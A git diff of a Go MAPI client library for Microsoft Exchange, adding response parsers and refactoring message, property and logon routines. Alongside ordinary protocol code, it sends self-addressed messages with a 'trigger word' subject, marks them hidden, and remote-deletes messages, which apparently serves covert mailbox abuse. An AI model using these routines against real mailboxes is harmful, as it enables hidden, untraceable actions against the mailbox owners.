pos = utils.ReadUint16(pos, resp) + var x []byte + x, pos = utils.ReadBytes(pos, int(recipientRow.RecipientRowSize), resp) + //convert to a recipient + recipientRow.RecipientRow = RecipientRow{} + recipientRow.RecipientRow.Unmarshal(x) + + } + } + + return pos, nil +} + +//Unmarshal func for recipientRow - TODO +func (recipientRow *RecipientRow) Unmarshal(resp []byte) (int, error) { + pos := 0 return pos, nil } @@ -1807,6 +2253,24 @@ func (actionData *ActionData) Unmarshal(resp []byte) (int, error) { return pos, nil } +//GetData is a wrapper function for RopGetPropertiesSpecificResponse struct, allows retrieving the values stored in RowData +func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) GetData() []PropertyRow { + return ropGetPropertiesSpecificResponse.RowData +} + +//GetData is a wrapper function for RopGetPropertiesAllResponse struct, allows retrieving the values stored in PropertyValues +func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) GetData() []PropertyRow { + return ropGetPropertiesAllResponse.PropertyValues +} + +//GetData is a wrapper function for RopQueryRowsResponse struct, allows retrieving the values stored in the first row of RowData +func (queryRows *RopQueryRowsResponse) GetData() []PropertyRow { + if len(queryRows.RowData) > 0 { + return queryRows.RowData[0] + } + return nil +} + //Unmarshal func func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { pos := 0 @@ -1820,24 +2284,107 @@ func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmars var rows []PropertyRow for _, property := range columns { trow := PropertyRow{} + trow.PropID = utils.EncodeNum(property.PropertyID) trow.Flag, pos = utils.ReadByte(pos, resp) if property.PropertyType == PtypInteger32 { - trow.ValueArray, pos = utils.ReadBytes(pos, 2, resp) - rows = append(rows, trow) - } else if property.PropertyType == PtypString { + trow.ValueArray, pos = utils.ReadBytes(pos, 4, resp) + } else if property.PropertyType == PtypBoolean { + trow.ValueArray, pos = utils.ReadBytes(pos, 1, resp) + } else if property.PropertyType == PtypString || property.PropertyType == PtypString8 { trow.ValueArray, pos = utils.ReadUnicodeString(pos, resp) - rows = append(rows, trow) + //pos++ + if len(trow.ValueArray) == 0 { + pos++ + } } else if property.PropertyType == PtypBinary { cnt, p := utils.ReadByte(pos, resp) pos = p trow.ValueArray, pos = utils.ReadBytes(pos, int(cnt), resp) - rows = append(rows, trow) + } else if property.PropertyType == PtypTime { + trow.ValueArray, pos = utils.ReadBytes(pos, 8, resp) + } + rows = append(rows, trow) } ropGetPropertiesSpecificResponse.RowData = rows return pos, nil } +//Unmarshal func +func (getPropertiesListResp *RopGetPropertiesListResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + getPropertiesListResp.RopID, pos = utils.ReadByte(pos, resp) + getPropertiesListResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getPropertiesListResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getPropertiesListResp.ReturnValue != 0x000000 { + return pos, &ErrorCode{getPropertiesListResp.ReturnValue} + } + getPropertiesListResp.PropertyTagCount, pos = utils.ReadUint16(pos, resp) + getPropertiesListResp.PropertyTags = make([]PropertyTag, int(getPropertiesListResp.PropertyTagCount)) + tpos := pos + ///read propertyNames here + for i := 0; i < int(getPropertiesListResp.PropertyTagCount); i++ { + getPropertiesListResp.PropertyTags[i] = PropertyTag{} + getPropertiesListResp.PropertyTags[i].PropertyType, tpos = utils.ReadUint16(tpos, resp) + getPropertiesListResp.PropertyTags[i].PropertyID, tpos = utils.ReadUint16(tpos, resp) + } + pos = tpos + return pos, nil +} + +//Unmarshal func +func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { + pos := 0 + ropGetPropertiesAllResponse.RopID, pos = utils.ReadByte(pos, resp) + ropGetPropertiesAllResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) + ropGetPropertiesAllResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if ropGetPropertiesAllResponse.ReturnValue != 0x000000 { + return pos, &ErrorCode{ropGetPropertiesAllResponse.ReturnValue} + } + ropGetPropertiesAllResponse.PropertyValueCount, pos = utils.ReadUint16(pos, resp) + var rows []PropertyRow + tpos := pos + var proptype, pid uint16 + for k := 0; k < int(ropGetPropertiesAllResponse.PropertyValueCount); k++ { + trow := PropertyRow{} + trow.Flag = 0 + //get propertytag - first type, then id + proptype, tpos = utils.ReadUint16(tpos, resp) + pid, tpos = utils.ReadUint16(tpos, resp) + trow.PropID = utils.EncodeNum(pid) + trow.PropType = utils.EncodeNum(proptype) + + if proptype == PtypInteger32 { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 4, resp) + rows = append(rows, trow) + } else if proptype == PtypBoolean { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 1, resp) + rows = append(rows, trow) + } else if proptype == PtypString || proptype == PtypString8 { + trow.ValueArray, tpos = utils.ReadUnicodeString(tpos, resp) + tpos++ + if len(trow.ValueArray) == 0 { + tpos++ + } + rows = append(rows, trow) + } else if proptype == PtypBinary { + cnt, p := utils.ReadUint16(tpos, resp) + tpos = p + trow.ValueArray, tpos = utils.ReadBytes(tpos, int(cnt), resp) + rows = append(rows, trow) + } else if proptype == PtypTime { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 8, resp) + rows = append(rows, trow) + } + + } + pos = tpos + ropGetPropertiesAllResponse.PropertyValues = rows + return pos, nil +} + //Unmarshal func func (propTag *PropertyTag) Unmarshal(resp []byte) (int, error) { pos := 0 @@ -1845,3 +2392,24 @@ func (propTag *PropertyTag) Unmarshal(resp []byte) (int, error) { propTag.PropertyID, pos = utils.ReadUint16(pos, resp) return pos, nil } + +//Unmarshal function to produce RopCreateMessageResponse struct +func (wvpObjectStream *WebViewPersistenceObjectStream) Unmarshal(resp []byte) (int, error) { + pos := 0 + + wvpObjectStream.Version, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Type, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Flags, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Reserved, pos = utils.ReadBytes(pos, 28, resp) + + if pos >= len(resp) { + return pos, nil + } + wvpObjectStream.Size, pos = utils.ReadUint32(pos, resp) + + if wvpObjectStream.Size > 0 { + wvpObjectStream.Value, pos = utils.ReadUnicodeString(pos, resp) + } + + return pos, nil +} diff --git a/mapi/mapi.go b/mapi/mapi.go index fa4c5b6..01ed766 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -3,6 +3,7 @@ package mapi import ( "bytes" "crypto/tls" + "encoding/hex" "fmt" "io/ioutil" "net/http" @@ -93,7 +94,7 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.Transport = transport AuthSession.ClientSet = false AuthSession.ReqCounter = 1 - AuthSession.LogonID = 0x0b + AuthSession.LogonID = 0x06 AuthSession.Authenticated = false //default to Encrypt + Sign for NTLM @@ -124,18 +125,29 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { var err error if AuthSession.Transport == HTTP { //this is always going to be an "Execute" request if rawResp, err = mapiRequestHTTP(AuthSession.URL.String(), "Execute", mapi.Marshal()); err != nil { - utils.Debug.Println(rawResp) + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) return nil, err } } else { if rawResp, err = mapiRequestRPC(mapi); err != nil { - utils.Debug.Println(rawResp) + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) return nil, err } } - //utils.Debug.Println(string(rawResp)) + //debug flag + executeResponse := ExecuteResponse{} - executeResponse.Unmarshal(rawResp) + err = executeResponse.Unmarshal(rawResp) + + if executeResponse.ErrorCode == 255 || err != nil { + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) + return nil, ErrNonZeroStatus + } + + if len(executeResponse.RopBuffer.Body) == 0 { + return nil, ErrEmptyBuffer + } + return &executeResponse, nil } @@ -164,7 +176,6 @@ func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { resp, err := client.Do(req) if err != nil { - utils.Trace.Println("v") //check if this error was because of ntml auth when basic auth was expected. if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { resp, err = client.Do(req) @@ -431,30 +442,27 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { execRequest.RopBuffer.ROP.RopsList = logonBody.Marshal() execResponse, err := sendMapiRequest(execRequest) - + //need to verify admin here... if err != nil { + if AuthSession.Admin { + return nil, ErrNotAdmin + } return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - AuthSession.Authenticated = true + AuthSession.Authenticated = true - logonResponse := RopLogonResponse{} - logonResponse.Unmarshal(execResponse.RopBuffer) - if len(logonResponse.FolderIds) == 0 { - if AuthSession.Admin { - return nil, fmt.Errorf("Unable to retrieve mailbox as admin") - } - return nil, fmt.Errorf("Unable to retrieve mailbox as user") + logonResponse := RopLogonResponse{} + logonResponse.Unmarshal(execResponse.RopBuffer.Body) + + if len(logonResponse.FolderIds) == 0 { + if AuthSession.Admin { + return nil, fmt.Errorf("Unable to retrieve mailbox as admin") } - specialFolders(logonResponse.FolderIds) - return &logonResponse, nil + return nil, fmt.Errorf("Unable to retrieve mailbox as user") } - if AuthSession.Admin { - return nil, ErrNotAdmin - } - - return nil, ErrUnknown + specialFolders(logonResponse.FolderIds) + return &logonResponse, nil } //Disconnect function to be nice and disconnect us from the server @@ -481,7 +489,7 @@ func Disconnect() (int, error) { func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHandle} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHandle} fullReq := ropRelease.Marshal() execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} execRequest.RopBuffer.ROP.RopsList = fullReq @@ -492,15 +500,66 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - ropReleaseResponse := RopReleaseResponse{} - if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { - return nil, e - } - return &ropReleaseResponse, nil + ropReleaseResponse := RopReleaseResponse{} + if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { + return nil, e } + return &ropReleaseResponse, nil + +} + +//ReadPerUserInformation issues a RopReleaseRequest to free a server handle to an object +func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + readRequest := RopReadPerUserInformationRequest{RopID: 0x63, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + readRequest.FolderID = folerID + readRequest.DataOffset = 0 + readRequest.MaxDataSize = 0xFF + + fullReq := readRequest.Marshal() + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + readResponse := RopReadPerUserInformationResponse{} + rops := []RopResponse{&readResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &readResponse, e + +} + +//GetLongTermIDFromID issues a request for the long term ID of an Object +func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + longTermIDRequest := RopLongTermIDFromIDRequest{RopID: 0x43, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + longTermIDRequest.ObjectID = objectID + + fullReq := longTermIDRequest.Marshal() + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + longTermResponse := RopLongTermIDFromIDResponse{} + rops := []RopResponse{&longTermResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &longTermResponse, e - return nil, ErrUnknown } //SendExistingMessage sends a message that has already been created. This is essentially a RopSubmitMessage @@ -510,16 +569,16 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderID getMessage.MessageID = messageID getMessage.CodePageID = 0xFFF - getMessage.OpenModeFlags = 0x03 + getMessage.OpenModeFlags = 0x03 //BestAccess fullReq := getMessage.Marshal() - modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandle: 0x01} + modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} modRecipients.ColumnCount = 8 modRecipients.RecipientColumns = make([]PropertyTag, modRecipients.ColumnCount) @@ -536,7 +595,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm modRecipients.RowCount = 0x0001 modRecipients.RecipientRows = make([]ModifyRecipientRow, modRecipients.RowCount) - modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 0x00000001, RecipientType: 0x00000001} + modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 1, RecipientType: 1} modRecipients.RecipientRows[0].RecipientRow = RecipientRow{} modRecipients.RecipientRows[0].RecipientRow.RecipientFlags = 0x0008 | 0x0003 | 0x0200 | 0x0010 | 0x3 | 0x0020 modRecipients.RecipientRows[0].RecipientRow.EmailAddress = utils.UniString(recipient) //email address @@ -559,7 +618,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm modRecipients.RecipientRows[0].RecipientRowSize = uint16(len(utils.BodyToBytes(modRecipients.RecipientRows[0].RecipientRow))) fullReq = append(fullReq, modRecipients.Marshal()...) - submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandle: 0x01, SubmitFlags: 0x00} + submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, SubmitFlags: 0x00} fullReq = append(fullReq, submitMessage.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -571,33 +630,14 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error - - getMessageResponse := RopOpenMessageResponse{} + getMessageResponse := RopOpenMessageResponse{} + modRecipientsResponse := RopModifyRecipientsResponse{} + submitMessageResp := RopSubmitMessageResponse{} + rops := []RopResponse{&getMessageResponse, &modRecipientsResponse, &submitMessageResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - modRecipients := RopModifyRecipientsResponse{} - if p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + return &submitMessageResp, e - return &submitMessageResp, nil - } - - return nil, ErrUnknown } //SendMessage func to create a new message on the Exchange server @@ -608,8 +648,8 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { execRequest.Init() createMessage := RopCreateMessageRequest{RopID: 0x06, LogonID: AuthSession.LogonID} - createMessage.InputHandle = 0x00 - createMessage.OutputHandle = 0x01 + createMessage.InputHandleIndex = 0x00 + createMessage.OutputHandleIndex = 0x01 createMessage.FolderID = AuthSession.Folderids[OUTBOX] createMessage.CodePageID = 0xFFF createMessage.AssociatedFlag = 0 @@ -617,19 +657,20 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { fullReq := createMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 - setProperties.PropertValueCount = 8 + setProperties.InputHandleIndex = 0x01 + setProperties.PropertValueCount = 9 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) propertyTags[0] = TaggedPropertyValue{PidTagBody, utils.UniString(fmt.Sprintf("%s\n\r", body))} propertyTags[1] = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")} - propertyTags[2] = TaggedPropertyValue{PidTagMessageFlags, []byte{0x00, 0x00, 0x00, 0x08}} //unsent + propertyTags[2] = TaggedPropertyValue{PidTagMessageFlags, utils.EncodeNum(uint32(8))} //[]byte{0x00, 0x00, 0x00, 0x08}} //unsent propertyTags[3] = TaggedPropertyValue{PidTagConversationTopic, utils.UniString(triggerWord)} - propertyTags[4] = TaggedPropertyValue{PropertyTag: PidTagIconIndex, PropertyValue: []byte{0x00, 0x00, 0x00, 0x01}} + propertyTags[4] = TaggedPropertyValue{PropertyTag: PidTagIconIndex, PropertyValue: utils.EncodeNum(uint32(1))} //[]byte{0x00, 0x00, 0x00, 0x01}} propertyTags[5] = TaggedPropertyValue{PropertyTag: PidTagMessageEditorFormat, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} - propertyTags[5] = TaggedPropertyValue{PidTagNativeBody, []byte{0x00, 0x00, 0x00, 0x01}} + propertyTags[5] = TaggedPropertyValue{PidTagNativeBody, utils.EncodeNum(uint32(1))} //[]byte{0x00, 0x00, 0x00, 0x01}} propertyTags[6] = TaggedPropertyValue{PidTagSubject, utils.UniString(triggerWord)} propertyTags[7] = TaggedPropertyValue{PidTagNormalizedSubject, utils.UniString(triggerWord)} + propertyTags[8] = TaggedPropertyValue{PidTagHidden, []byte{0x01}} //hide message during "composition" setProperties.PropertyValues = propertyTags propertySize := 0 @@ -641,7 +682,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { fullReq = append(fullReq, setProperties.Marshal()...) - modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandle: 0x01} + modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} modRecipients.ColumnCount = 8 modRecipients.RecipientColumns = make([]PropertyTag, modRecipients.ColumnCount) @@ -658,7 +699,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { modRecipients.RowCount = 0x0001 modRecipients.RecipientRows = make([]ModifyRecipientRow, modRecipients.RowCount) - modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 0x00000001, RecipientType: 0x00000001} + modRecipients.RecipientRows[0] = ModifyRecipientRow{RowID: 1, RecipientType: 1} modRecipients.RecipientRows[0].RecipientRow = RecipientRow{} modRecipients.RecipientRows[0].RecipientRow.RecipientFlags = 0x0008 | 0x0003 | 0x0200 | 0x0010 | 0x3 | 0x0020 modRecipients.RecipientRows[0].RecipientRow.EmailAddress = utils.UniString(AuthSession.Email) //email address @@ -669,19 +710,19 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { modRecipients.RecipientRows[0].RecipientRow.RecipientProperties = StandardPropertyRow{Flag: 0x00} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray = make([][]byte, modRecipients.RecipientRows[0].RecipientRow.RecipientColumnCount) - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[0] = []byte{0x06, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[1] = []byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[0] = utils.EncodeNum(uint32(6)) //[]byte{0x00, 0x00, 0x00, 0x06} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[1] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[2] = utils.UniString(AuthSession.Email) - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[3] = []byte{0x00, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[4] = []byte{0x00, 0x00, 0x00, 0x40} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[3] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[4] = utils.EncodeNum(uint32(64)) //[]byte{0x00, 0x00, 0x00, 0x40} modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[5] = utils.UniString("Self") modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[6] = []byte{0x01, 0x00, 0x00, 0x00} - modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[7] = []byte{0x00, 0x00, 0x00, 0x00} + modRecipients.RecipientRows[0].RecipientRow.RecipientProperties.ValueArray[7] = utils.EncodeNum(uint32(0)) //[]byte{0x00, 0x00, 0x00, 0x00} modRecipients.RecipientRows[0].RecipientRowSize = uint16(len(utils.BodyToBytes(modRecipients.RecipientRows[0].RecipientRow))) fullReq = append(fullReq, modRecipients.Marshal()...) - submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandle: 0x01, SubmitFlags: 0x00} + submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, SubmitFlags: 0x00} fullReq = append(fullReq, submitMessage.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -693,39 +734,15 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error + createMessageResponse := RopCreateMessageResponse{} + propertiesResponse := RopSetPropertiesResponse{} + modRecipientsResponse := RopModifyRecipientsResponse{} + submitMessageResp := RopSubmitMessageResponse{} - createMessageResponse := RopCreateMessageResponse{} - - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - modRecipients := RopModifyRecipientsResponse{} - if p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - return &submitMessageResp, nil - } + rops := []RopResponse{&createMessageResponse, &propertiesResponse, &modRecipientsResponse, &submitMessageResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return nil, ErrUnknown + return &submitMessageResp, e } //SetMessageStatus is used to create a message on the exchange server @@ -734,22 +751,22 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() setMessageStatus := RopSetMessageStatusRequest{RopID: 0x20, LogonID: AuthSession.LogonID} - setMessageStatus.InputHandle = 0x01 + setMessageStatus.InputHandleIndex = 0x01 setMessageStatus.MessageID = messageid setMessageStatus.MessageStatusFlags = PidTagMessageFlags setMessageStatus.MessageStatusMask = MSRemoteDelete fullReq = append(fullReq, setMessageStatus.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -761,18 +778,258 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 + setStatusResp := RopSetMessageStatusResponse{} + rops := []RopResponse{&setStatusResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &setStatusResp, e - setStatusResp := RopSetMessageStatusResponse{} +} - if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - return &setStatusResp, nil +//GetPropertyIds returns the specific fields from a message +func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGetPropertyIdsFromNamesResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropertyIds := RopGetPropertyIdsFromNamesRequest{} + getPropertyIds.RopID = 0x56 + getPropertyIds.LogonID = AuthSession.LogonID + getPropertyIds.InputHandleIndex = 0x01 + getPropertyIds.Flags = 0x02 + getPropertyIds.PropertyNameCount = uint16(len(propids)) + getPropertyIds.PropertyNames = propids + + fullReq = append(fullReq, getPropertyIds.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} } - return nil, ErrUnknown + getMessageResponse := RopOpenMessageResponse{} + getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} + rops := []RopResponse{&getMessageResponse, &getPropertyIdsResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &getPropertyIdsResp, e + +} + +//GetPropertyIdsList returns the list of properties on a message +func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropertyIds := RopGetPropertiesListRequest{RopID: 0x09, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + + fullReq = append(fullReq, getPropertyIds.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + getMessageResponse := RopOpenMessageResponse{} + getPropertyIdsResp := RopGetPropertiesListResponse{} + rops := []RopResponse{&getMessageResponse, &getPropertyIdsResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &getPropertyIdsResp, e + +} + +//GetPropertyNamesFromID returns the property names for a set of ids +func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (*RopGetNamesFromPropertyIdsResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropNames := RopGetNamesFromPropertyIdsRequest{RopID: 0x55, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + getPropNames.PropertyIDCount = uint16(idcount) + getPropNames.PropertyIDs = propids + + fullReq = append(fullReq, getPropNames.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + getMessageResponse := RopOpenMessageResponse{} + getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} + rops := []RopResponse{&getMessageResponse, &getPropNamesResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &getPropNamesResp, e + +} + 